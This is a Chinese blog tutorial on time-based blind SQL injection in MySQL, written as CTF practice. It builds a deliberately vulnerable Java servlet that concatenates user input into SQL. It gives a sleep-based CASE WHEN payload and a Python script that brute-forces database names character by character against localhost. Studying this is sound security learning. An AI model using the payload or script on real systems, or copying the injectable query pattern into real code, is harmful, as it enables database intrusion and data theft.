Java写Sql注入时间盲注Demo对Mysql的substring、 case when 、offset、使用以及payload

突然想做ctf题遇到了问题。
记录下几个函数的使用

substring是切割函数,可以切割指定字符

先select version
这里写图片描述
切割
这里写图片描述

一定别忘了看用 select
1,1就是说从1开始的到第1个字符

改变获取第二个字符

这里写图片描述

依次加就可以一个一个的获取

如果在mysql中做判断的话是

select (select version())='5.5.40';

这里写图片描述

错误的话返回的是0
这里写图片描述

case when 是做判断那种 条件语句

这里写图片描述

如果将666改成 sleep(5)那么就可以做时间盲注了。
这里写图片描述

offset与limit一起使用的话
这里写图片描述

offset 0的话就没写一样。1的话就是在limit的基础上再+1一个开始显示

如果写limit 1的话就是显示一个嘛,然后后面的offset增加就可以一个一个的显示了。
比如显示所有数据库
这里写图片描述

select schema_name from information_schema.SCHEMATA 

都结合的话

先利用 查询所有数据库

select schema_name from information_schema.SCHEMATA 

这里写图片描述

查询第一个数据库

select schema_name from information_schema.SCHEMATA  limit 1 offset 0

这里写图片描述
可以查询到第一个数据库了,然后再获取这个返回的数据库的第一个字符(substring)

select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 0),1,1);

这里写图片描述

可以让其进行判断,猜,第一次猜是a的话

select((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 0),1,1))='a');

这里写图片描述
一直猜,猜到了i

这里写图片描述
于是返回了1

那我们就猜到了第一个数据库的第一个字符
猜第二个
将切割改为2,1即

select((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 0),2,1))='n');

然后猜到了n
返回1 成功

这里写图片描述

第一个数据库的所有字符猜完了。那么
猜下一个数据库即是offset 1

select((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 1),1,1))='c');

第二个数据库的第一个字符是 c 返回1

这里写图片描述

但是!!!如果获取不到返回值,也就是盲注的话,可以使用基于时间来实现

当对的话就设置sleep(5)
那么就可以判断是否对了
即使用case when来实现
要把之前的select去掉

即:

select case when ((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 1),1,1))='c') then sleep(5) else 1 end;

这里写图片描述

Java实现后端编写。直接执行sql语句的

后端代码:
DBUtil(管理数据了连接关闭)

package dao;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

import com.sun.corba.se.spi.orb.StringPair;

public class DBUtil {


    public static Connection getConnection(){
        Connection conn =null;

        try{
            Class.forName("com.mysql.jdbc.Driver");

            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test","root","root");
        }catch (Exception e) {

            e.printStackTrace();

        }

        return conn;

    }


    public static void close(Connection conn){
        if(conn!=null){

            try {
                conn.close();


            } catch (SQLException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }

    }


    public static void main(String[] args){
        Connection conn = getConnection();
        System.out.println(conn);

    }



}

Sqldao.java(管理操作数据的方法)

package dao;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;


public class Sqldao {
    public static String findByid(String id) throws SQLException{
        String sql = "select * from user where uid="+id;
        System.out.println("SQL语句::"+sql);
        Connection conn = DBUtil.getConnection();
        ResultSet result =  null;
        try {
            Statement statement = conn.createStatement();
            result = statement.executeQuery(sql);
            if(result.next()){
                String name = result.getString("name");
                String age = result.getString("age");
                return name+":"+age+"         :"+sql;
            }

            conn.close();


        } catch (SQLException e) {
            conn.close();
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        return "null";

    }




}

Servlet

package servlet;

import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.SQLException;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import dao.DBUtil;
import dao.Sqldao;

public class sql1 extends HttpServlet {

    public void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        Sqldao sqldao = new Sqldao();
        String id = request.getParameter("uid");

        try {
            String data = sqldao.findByid(id);

            out.println(data);


        } catch (SQLException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }




        out.close();
    }

}

前端:sql1.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>sql1</title>
<head>

<style>
form{
margin-left:400px;
margin-top:50px;
}
</style>

</head>
<body>


<form action="http://localhost:8080/Sql/sql1" method="get">
<input type="text" name ="uid" id="uid"/>
<br/>
<input type="button" value="查询" id="sub">
</form>
<br/>
<br/>
<p id="p"><p>
</body>
</html>
<script src="http://libs.baidu.com/jquery/1.8.3/jquery.min.js"></script>
<script type="text/javascript">
$("#sub").click(function(event) {

  var uid = $("#uid").val()
  /* Act on the event */
   $.ajax({
     url: 'sql1',
     type: 'get',
     dataType: 'html',
     data: {'uid':uid},
     success:function(html){
        $("#p").text(html)

     }
   })
   .done(function() {
     console.log("success");
   })
   .fail(function() {
     console.log("error");
   })
   .always(function() {
     console.log("complete");
   });



});
</script>

这里写图片描述

还有ajax提交,然后servlet返回html
原来让servlet返回html就是直接 out.print(html代码)就行了。
然后ajax success成功函数参数html 还有设置返回值也写html

这里写图片描述

输入错误的只是会显示null 并不会报错

这里写图片描述

后端查询数据库使用的是直接拼接字符串

那么根据上面的

输入:

2 and (select case when ((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 1),1,1))='c') then sleep(5) else 1 end);

拼接后的字符串就是

select * from user where uid=2 and (select case when ((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 1),1,1))='c') then sleep(5) else 1 end);

数据库中

这里写图片描述

在浏览器中显示也是要5s才能返回nulll

根据payload编写Python代码跑出所有数据库名

# -*- coding:utf-8 -*-  
import requests
import string 
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]
#先循环的是每个数据库也就是{0}
for database_number in range(0,2):
    database_name=''
    #再次循环的是第 database_number 的第几个字符
    for database_string in range(1,10):
        #再次循环的是比较是哪个字符
        for database_str in guess:

                url = "http://localhost:8080/Sql/sql1?uid=2%20and%20(select%20case%20when%20((select%20substring((select%20schema_name%20from%20information_schema.SCHEMATA%20limit%201%20offset%20 {0}),{1},1))=%27{2}%27)%20then%20sleep(5)%20else%201%20end);".format(str(database_number),str(database_string),str(database_str))
                try:
                    html = requests.get(url,timeout=4)
                except:
                    database_name+=database_str
                    print "[+] This id "+str(database_number)+" database is "+database_name
                    break;
    database.append(database_name)
print 'over'
for i in database:
    print i

这里写图片描述

参考:http://blog.csdn.net/qq_35078631/article/details/54773769

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值